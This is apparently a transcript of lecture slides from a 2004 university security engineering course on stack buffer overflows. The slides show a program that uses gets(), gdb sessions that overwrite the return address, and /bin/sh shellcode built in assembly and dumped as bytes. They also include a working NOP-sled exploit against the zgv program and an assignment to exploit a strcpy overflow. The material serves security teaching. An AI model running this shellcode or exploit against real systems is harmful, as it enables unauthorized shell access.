1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

28
1 #include <stdio.h> void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

Transcript of 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

Page 1: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

1

#include <stdio.h>

void silly(){char s[30];gets(s);printf("%s\n",s);

}main(){silly();return 0;

}

Page 2: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

2

Page 3: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

3

• gcc -ggdb b.c– This creates a.out

• gdb a.outGNU gdb Red Hat Linux (5.2.1-4)

Copyright 2002 Free Software Foundation, Inc.

Page 4: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

4

(GDB) disas main

Dump of assembler code for function main:

0x8048388 <main>: push %ebp

0x8048389 <main+1>: mov %esp,%ebp

0x804838b <main+3>: sub $0x8,%esp

0x804838e <main+6>: and $0xfffffff0,%esp

0x8048391 <main+9>: mov $0x0,%eax

0x8048396 <main+14>: sub %eax,%esp

0x8048398 <main+16>: call 0x804835c <silly>

0x804839d <main+21>: mov $0x0,%eax

0x80483a2 <main+26>: leave

0x80483a3 <main+27>: ret

End of assembler dump.

Page 5: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

5

(gdb) disas silly

Dump of assembler code for function silly:

0x804835c <silly>: push %ebp

0x804835d <silly+1>: mov %esp,%ebp

0x804835f <silly+3>: sub $0x28,%esp

0x8048362 <silly+6>: sub $0xc,%esp

0x8048365 <silly+9>: lea 0xffffffd8(%ebp),%eax

0x8048368 <silly+12>: push %eax

0x8048369 <silly+13>: call 0x804827c <gets>

Page 6: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

6

0x804836e <silly+18>: add $0x10,%esp

0x8048371 <silly+21>: sub $0x8,%esp

0x8048374 <silly+24>: lea 0xffffffd8(%ebp),%eax

0x8048377 <silly+27>: push %eax

0x8048378 <silly+28>: push $0x8048404

0x804837d <silly+33>: call 0x804829c <printf>

0x8048382 <silly+38>: add $0x10,%esp

0x8048385 <silly+41>: leave

0x8048386 <silly+42>: ret

End of assembler dump.

Page 7: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

7

$ gdb a.outGNU gdb Red Hat Linux (5.2.1-4)[...](gdb) runStarting program: /home/sherif/c/bo/a.out

AAAAAAAAAAAAAAAAAAAA

Program exited normally.

Page 8: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

8

(gdb) run

Starting program: /home/sherif/c/bo/a.out

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGTRAP, Trace/breakpoint trap.

0x421341e9 in environ () from /lib/i686/libc.so.6

Page 9: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

9

Starting program: /home/sherif/c/bo/a.outAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) info registerseax 0x7b 123ecx 0x42134d80 1108561280edx 0x7b 123ebx 0x4213820c 1108574732esp 0xbffff370 0xbffff370

ebp 0x41414141 0x41414141esi 0x40013020 1073819680edi 0x421341e8 1108558312eip 0x41414141 0x41414141eflags 0x10282 66178

Page 10: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

10

#include <stdio.h>void notcalled(){puts("no one called me!\n");

}void silly(){char s[30];gets(s);printf("%s\n",s);

}main(){silly();return 0;

}

Page 11: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

11

(gdb) disas notcalled

Dump of assembler code for function notcalled:

0x804838c <notcalled>: push %ebp

0x804838d <notcalled+1>: mov %esp,%ebp

0x804838f <notcalled+3>: sub $0x8,%esp

0x8048392 <notcalled+6>: sub $0xc,%esp

0x8048395 <notcalled+9>: push $0x804844c

0x804839a <notcalled+14>: call 0x80482ac <puts>

0x804839f <notcalled+19>: add $0x10,%esp

0x80483a2 <notcalled+22>: leave

0x80483a3 <notcalled+23>: ret

End of assembler dump.

Page 12: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

12

(gdb) run

Starting program: /home/sherif/c/bo/a.out

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQRSTUVWXYZ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOPQRSTUVWXYZ

Program received signal SIGSEGV, Segmentation fault.

0x53525150 in ?? ()

(gdb) info register

Page 13: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

13

eax 0x38 56

ecx 0x42134d80 1108561280

edx 0x38 56

ebx 0x4213820c 1108574732

esp 0xbffff880 0xbffff880

ebp 0x4f4e4d4c 0x4f4e4d4c

esi 0x40013020 1073819680

edi 0x421341e8 1108558312

eip 0x53525150 0x53525150

[...]

Page 14: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

14

Page 15: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

15

main(){

printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNO%c%c%c%cTUVWXYZ\n",

0x8c, 0x83, 0x04, 0x08);

}

Page 16: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

16

[sherif@rnd bo]$ ./b2

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNTUVWXYZ

[sherif@rnd bo]$ ./b2 | ./a.out

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNTUVWXYZ

no one called me!

Segmentation fault

Page 17: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

17

Dump of assembler code for function execve:0xb09d0 <execve>: push %ebp0xb09d1 <execve+1>: mov %esp,%ebp0xb09d3 <execve+3>: sub $0x18,%esp0xb09d6 <execve+6>: mov %ebx,0xfffffff4(%ebp)0xb09d9 <execve+9>: call 0x1579d0xb09de <execve+14>: add $0x8984e,%ebx0xb09e4 <execve+20>: mov %edi,0xfffffffc(%ebp)0xb09e7 <execve+23>: mov 0x1b8(%ebx),%eax0xb09ed <execve+29>: mov 0x8(%ebp),%edi0xb09f0 <execve+32>: mov %esi,0xfffffff8(%ebp)0xb09f3 <execve+35>: test %eax,%eax0xb09f5 <execve+37>: jne 0xb0a30 <execve+96>0xb09f7 <execve+39>: mov 0xc(%ebp),%ecx0xb09fa <execve+42>: mov 0x10(%ebp),%edx0xb09fd <execve+45>: push %ebx0xb09fe <execve+46>: mov %edi,%ebx0xb0a00 <execve+48>: mov $0xb,%eax0xb0a05 <execve+53>: int $0x80

Page 18: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

18

.global code_start

.global code_end

.datacode_start: jmp my_st_ptmy_call: popl %esi movl %esi,0x8(%esi) xor %eax,%eax /* put 0 in %eax */ movb %eax,0x7(%esi) /* put terminating 0*/ movl %eax,0xc(%esi) /* another 0 to */my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", lea 0x8(%esi),%ecx /* & of "/bin/sh" xor %edx,%edx /* NULL )*/ int $0x80 /* */my_st_pt: call my_call.string "/bin/shX"code_end:

Page 19: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

19

extern void code_start();

extern void code_end();

#include <stdio.h>

main() {

((void (*)(void)) code_start)();

}

Page 20: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

20

extern void code_start();

extern void code_end();

#include <stdio.h>

main() {

char *p = (char*) code_start;

printf("char code[]={");

while(*p){

printf("0x%x, ", (unsigned char)*p++);

}

printf("};");

}

Page 21: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

21

char code[]={0xeb, 0x17, 0x5e, 0x89, 0x76, 0x8, 0x31, 0xc0, 0x88, 0x46, 0x7, 0x89, 0x46, 0xc, 0xb0, 0xb, 0x89, 0xf3, 0x8d, 0x4e, 0x8, 0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xe4, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x58, 0x00 };

Page 22: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

22

char code[]={0xeb, 0x17, 0x5e, 0x89, 0x76, 0x8, 0x31, 0xc0, 0x88, 0x46, 0x7, 0x89, 0x46, 0xc, 0xb0, 0xb, 0x89, 0xf3, 0x8d, 0x4e, 0x8, 0x31, 0xd2, 0xcd, 0x80, 0xe8, 0xe4, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x58, 0x00 };

main(){

((void (*)(void)) code)();

}

Page 23: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

23

Page 24: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

24

#include <stdio.h>

main(){ char *params[]={"/bin/ls", "/", NULL}; char *env[]={"TERM=dumb", NULL};

execve("/bin/ls", params, env);}

Page 25: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

25

.global code_start

.global code_end

.datacode_start: jmp my_st_ptmy_call: popl %esi movl %esi,0x8(%esi) xor %eax,%eax /* put 0 in %eax */ movb %eax,0x7(%esi) /* put terminating 0*/ movl %eax,0xc(%esi) /* another 0 to */my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", lea 0x8(%esi),%ecx /* & of "/bin/sh" xor %edx,%edx /* NULL )*/ int $0x80 /* */my_st_pt: call my_call.string "/bin/shX"code_end:

Page 26: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

26

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

/* This is the minimal shellcode from the tutorial */

static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP 0x90

#define LEN 1032

#define RET 0xbffff574

Page 27: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

27

int main(){

char buffer[LEN]; long retaddr = RET; int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

for (i=0;i<LEN;i+=4)

*(long *)&buffer[i] = retaddr;

for (i=0;i<(LEN-strlen(shellcode)-100);i++)

*(buffer+i) = NOP;

memcpy(buffer+i,shellcode,strlen(shellcode));

setenv("HOME", buffer, 1);

execlp("zgv","zgv",NULL);

return 0;

}

Page 28: 1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

28

CSCI 485 04: Security Engineering Spring 2004

Assignment 3: Due Tuesday, March 16th, 2004

A colleague has proposed the following program as a simple means of copying the first command-line argument to a local variable. You are asked to demonstrate that is an insecure program by showing that it may allow for the execution of an arbitrary command.

#include <stdio.h>#include <strings.h>

main(int argc, char** argv){char s[1000];strcpy(s, argv[1]);puts(s);

}